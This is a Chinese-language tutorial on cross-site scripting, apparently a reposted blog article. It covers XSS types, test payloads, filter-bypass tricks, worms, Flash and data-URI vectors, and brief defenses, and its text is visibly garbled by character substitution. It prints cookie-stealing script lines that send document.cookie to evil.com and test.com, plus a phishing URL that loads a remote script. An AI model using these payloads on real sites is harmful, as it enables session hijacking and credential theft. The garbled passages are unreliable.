XSS初探

1 什么是XSS跨站脚本javascript

   跨站脚本是一种常常出如今Web应用程序中的计算机安全漏洞,是因为Web应用程序对用户输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页之中,当其余用户浏览这些网页时,就会执行其中的恶意代码,对受害者可能采起Cookie资料盗取、会话劫持、钓鱼欺骗等各类攻击。php

   XSS跨站脚本自己对WEB服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。攻击者通常经过留言、电子邮件或其余途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏览器中打开该URL的时候,恶意脚本会在受害者的计算机上悄悄执行。html

2 为何XSS跨站漏洞会如此广泛和流行?这是由多个因素形成的java

2.一、Web 浏览器自己的设计是不安全的。浏览器包含了解析和执行JavaScript等脚本语言的能力,这些语言可用来建立各类格式丰富的功能,而浏览器只会执行,不会判断数据和程序代码是否恶意。程序员

2.二、 输入与输出是Web应用程序最基本的交互,在这过程之中若没有作好安全防御,web程序很容易会出现XSS漏洞。web

2.三、 如今的应用程序大部分是经过安全团队合做完成的,程序员之间的水平良莠不齐,不多有人受过正规培训,所以,开发的产品不免出现问题。浏览器

2.四、无论是开发人员仍是安全工程师,不少都没有真正意识到XSS的真正危害缓存

2.五、触发跨站脚本的方式很是简单,只要向HTML代码中注入脚本便可安全

3 XSS跨站脚本实例服务器

  HTML的script元素标记中间包含JavaScript,这使浏览器知道:当它遇到这一标记时,不该该将此标记内容成HTML或XHTML,从这一点开始,对于内容的控制权已转移给另外一个内置浏览器代理---脚本引擎处理。

  XSS 攻击就是将非法的JavaScript、VBscript等脚本注入到用户浏览的网页上执行,而Web浏览器自己的设计是不安全的,它只负责解释和执行Javascript等脚本语言,而不会判断代码自己是否对用户有害。

4 XSS 可能会给网站和用户带来的危害简单归纳以下:

4.一、网络钓鱼,包括盗取各种用户账号;

4.二、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操做

4.三、劫持用户(浏览器)会话,从而执行任意操做,例如进行非法转账、强制发表日志、 发送电子邮件等

4.四、强制弹出广告页面、刷流量等

4.五、网页挂马

4.六、进行恶意操做,例如任意纂改页面信息、删除文章等

4.七、进行大量的客户端攻击,如DDoS攻击

4.八、获取客户端信息,例如用户浏览历史、真实IP、开放端口等

4.九、控制受害者机器向其余网站发起攻击

4.十、结合其余漏洞,如csrf漏洞,实施进一步做恶

4.十一、提高用户权限,包括进一步渗透网站

4.十二、传播跨站脚本蠕虫等

5 XSS分类

5.一、 反射型XSS

   反射型xss利用通常是攻击者经过特定手法(好比利用电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者单击这些专门设计的连接的时候,恶意javaScript代码会直接在受害者主机上的浏览器执行。它的特色是只在用户单击时触发,并且只执行一次,非持久化,因此称为反射型跨站式脚本。

5.二、 持久性XSS

六、XSS的发掘

众所周知,数据交互(即输入/输出)的地方最容易产生跨站脚本,所以,咱们能够着重对网站的输入框、URL参数处进行测试。固然,全部来自COOKIE、POST表单、HTTP头的内容均可能会产生。

</textarea><script>alert(/XSS/)</script><textarea>

6.一、测试用例

<script>alert(1);</script>

<script>alert('XSS');</script>

<script src="http://www.evil.com/cookie.php"></script>

<script>location.href="http://www.evil.com/cookie.php?cookie="+escape(document.cookie)</script>

<script>alert(String.fromCharCode(88,83,83))</script>

<IMG SRC=javascript:alert(String.fromChar(88,83,83))>

"><script>alert(0)</script>

......

6.二、XSS Filter

一、利用<>标记注射<script>Html/Javascript

若是用户能够为所欲为地引入<>等标记,那么他就能操做一个HTML标签,而后经过<script>标签就能任意插入由JavaScript或Vbscript编写的恶意脚本代码。

如:<script>alert('XSS');</script>

所以,XSSFilter首当其冲要进行过滤和转义的就是"<>"或<script>等字符。

如此一来,某些形式的XSS即不复存在。

二、利用HTML标签属性值执行XSS

假设用户不能构造本身的HTML标记,可是他们还可使用其余形式来执行XSS,例如HTML标签的属性值。

不少HTML标记中的属性都支持javascript:[code]伪协议的形式,这个特殊的协议类型声明了URL的主体是任意的JavaScript代码,由JavaScript的解释器运行。

因此,用户能够利用部分HTML标记的属性值进行XSS,请看下面的代码:

<table backgroup="javascript:alert(/xss/)"></table>

<img src="javascript:alert('XSS');">

三、空格回车Tab

若是XSS Filter仅仅把敏感的输入字符例入黑名单,如对敏感自javascript而言,用户能够利用空格、回车和Tab键绕过限制,请看下面的例子:

<img src="javas    cript:alert(/xss/)" width=100>

使用关键字拆分的技巧,用户就能突破过滤器的限制,固然,这种技巧不局限在[tab]键,还可使用回车、空格之类的其余键位符。

四、对标签属性值转码

对普通HTML标记的属性值进行过滤,用户还能够经过编码处理来绕过,所以HTML中属性值自己支持ASCII码形式。ASCII码,即美国信息互换标准代码,是目前计算机最通用的编码标准。由于计算机只能接受数字信息,ASCII码将字符做为数字来表示,以便计算机可以接受和处理,好比大写字母A的ASCII码是65

根据HTML的属性值支持ASCII码的特性,把XSS代码:<img src="javascript:alert('xss');">

替换成:

<img src="javascrip&#116&#58alert(/xss/);">

因此,为了防范利用HTML标签属性值编码XSS,最好也过滤&#\等字符。

五、产生本身的事件

如今,假设用户不能依靠属性值进行跨站,那还有没有其余方法?答案是确定的,事件就是其中一种方法

既然事件能让JavaScript代码运行,就意味着用户也能利用它执行跨站脚本如:

<img src="#" onerror=alert(/xss/)>

六、利用CSS跨站剖析

七、扰乱过滤规则

利用前面所述的各类技巧,包括HTML标签属性值、事件、CSS、编码技术等,用户能顺利绕过XSS Filter的重重过滤。

程序员在汲取各类经验后,在开发过程当中可能已经仔细考虑到各类触发XSS的状况,而后部署好严谨措施,如此一来,系统也变得更加牢固、安全。但不要太自信,请继续看下面示例:

大小写转换

大小写混淆

不用双引号,而用单引号

不使用引号

八、利用字符编码

HTML标签中的某些属性值可使用&#ASCII方式进行编码改写,这种XSS转码支持十进制和十六进制形式。

为了方便测试,咱们接下来使用一个XSS编码工具,以便对字符进行十进制和十六进制的编码解码,该工具还能够实现ESCAPE转码和解码

另外,在JavaScript中有一个eval()函数,该函数可计算字符串,并执行其中的JavaScript代码

eval()也能够执行10进制形式的脚本,但须要配合String.fromCharCode()函数使用。String.fromcharcode()用于将字符转为ASCII值。

JavaScript支持unicode、escapes、十六进制、八进制等编码形式,这种编码技术若是运用于跨站攻击,无疑能大大增强XSS的威力。

九、拆分跨站法

 

XSS利用方式剖析

 

1 Cookie窃取攻击剖析

攻击者一般利用网站的XSS漏洞发起攻击。假设一个网站存在存储型XSS(或反射型XSS),攻击者就能够向漏洞页面写入窃取Cookie信息的恶意代码,在用户浏览XSS网页时,攻击者就可以获取受害者当前浏览器中的cookie会话攻击。

2 Cookie会话攻击原理剖析

<script

document.location="http://www.test.com/cookie.asp?cookie ="+document.cookie

</script>

3 Cookie 欺骗实例剖析

XSS Expliot以下:

http://127.0.0.1/Search.asp?Keyword=<script>var =new Image();x.src="http://127.0.0.1/cookie.asp?cookie="+document.cookie;</script>

XSS Phishing

XSS Phishing Expliot

http://www.bug.com/index.php?s=<script=http://www.evil.com/xss.js></script>

一、XSS重定向钓鱼

二、HTML注入式钓鱼

三、XSS跨框架钓鱼

四、Flash钓鱼

4 客户端信息刺探

1 javascript实现端口扫描

2 获取剪贴板内容

3 获取客户端IP地址

5 其它恶意攻击剖析

1 网页挂马

2 DDOS

3 XSS Virus/Worm

 

XSS测试和工具剖析

 

一、firebug

二、Tamper Data

三、Live HTTP Headers

四、Fiddler

五、XSS-Proxy

六、AttackAPI

七、Anehta

八、 XSS Shell

发掘XSS漏洞剖析

黑盒测试工具

一、Acunetix Web Vulnerability Scanner

二、XSSDetect

三、Ratproxy

黑盒手动测试

若是针对页面的输入框进行测试,首先能够输入一些触发XSS的敏感字符,如:

< > " ' & #

为了实现准确性和全面性,这里首先选择输入特殊字符进行测试。在输入框中输入"<XSS>"'&"并提交,而后在提交后的页面查看源代码,根据关键字“XSS”查找源代码中的"<XSS>"'&"是否已经被过滤和转义。若是连最基本的"<>"字符未被转义,说明这个输入框可能存在XSS漏洞,借此再构造完整XSS代码测试。

 

XSS Worm 剖析

一个完整的XSS Worm攻击流程以下

一、攻击者发现目标存在XSS漏洞,而且能够编写XSS蠕虫

二、利用一个宿主(如博客空间)做为传播源头进行XSS攻击

三、当其余用户访问北感染的空间时,XSS蠕虫执行如下操做

判断用户是否登陆,若是已登陆就执行下一步:若是没登陆则执行其余操做

继续判断用户是否被感染,若是没有就将其感染,若是已感染则跳过

Flash应用安全

编译好flash文件,将文件命名为xss.swf,而后新建一个HTML文件并嵌入该Flash文件:

<object id="test" width="200" height="150">

 <param name=movie value="Movie.swf">

   <embed AllowScriptAccess="always" name='test' src="xss.swf" type="application/x-shockwave-flash" width="200" height="150">

   </embed>

</object>

利用嵌入web页面中的Flash进行XSS有一个决定因素:allowScriptAccess属性。allowScriptAccess是使用<embed>或<object>标签引入Flash时提供的一个控制属性,决定了Flash是否能执行脚本代码。

Flash在客户端提供了两个控制属性:allowScriptAccess属性和allowNetworking属性,其中AllowScriptAccess控制Flash与HTML页面通讯,若是设置不恰当会致使XSS;而AllowNetworking控制Flash与外部网络的通讯,若是设置不当会致使CSRF。

 

深刻XSS

利用Data URIS进行XSS剖析

Data URI方案和MHTML有些相似,提供了一种经过base64编码在网页中直接潜入文件的方法,利用该方法能够绕过基于黑名单过滤的XSS防护系统。

Data URI 格式:

data:[<mime type>] [;charset=<charset>][;base64],<encode data>

Data URI最有趣的地方是可让用户把文件嵌入到其余文件中

 

Data URIS XSS

data URI提供了一个在HTML或者CSS文件中嵌入图片的方法,但没有严格指定嵌入的文件必须是图片,也就是说,咱们能够在base64编码后嵌入任何类型的文件,甚至HTML自己。

<a href="data:text/html;base64,PHNj......">test<a>

<object data="data:text/html;base64,PHNj......"></object>

 

防护XSS攻击

 

一、使用XSS Filter

输入过滤

输出编码

黑名单和白名单

二、定制过滤策略

三、Web定制编码规范

四、防护DOM-Based XSS

五、其余防护方式

 

XSS与字符编码的那些事儿

html实体编码(10进制与16进制)

如把尖括号编码[<] ------>html十进制;&#60; html十六进制:&#x3c

html实体编码自己存在的意义是防止与HTML自己语义标记的冲突,可是在XSS中却成为了咱们的一大利器。

javascript的八进制跟十六进制

如把尖括号编码[<] ------> js八进制:\74 js十六进制:\x3c

jsunicode编码

如把尖括号编码[<] ------>jsunicode:\u003c

url编码base64

如把尖括号编码[<] ------>url: %3c base64: PA==

 

HTTP请求头

消息头           解释

Host           请求的域名

User-Agent        客户端浏览器型号

Accept          可接受的内容类型

Accept-Language      可接受的语言

Accept-Encoding      可接受的压缩类型

Accept-Charset      可接受的内容编码

Cookie          客户端的用户Cookie

if-Modified-Since     客户端的缓存的最后修改时间

if-None-Match       客户端缓存文件的标示符

 

HTTP响应报头

消息头               解释

Server          Web服务器软件名称

Vary           告诉下游代理是使用缓存响应仍是从原始服务请求

Date           原始服务器消息发出的时间

Last-Modified      请求资源的最后修改时间

Location         用来重定向接收方到非请求URL的位置来完成请求或标识新的资源

Content-Encoding     Web服务器支持的返回内容压缩编码类型

Content-Type       返回内容的MIME类型

Content-Length      响应体的长度

Content-Language     响应的语言

相关文章
相关标签/搜索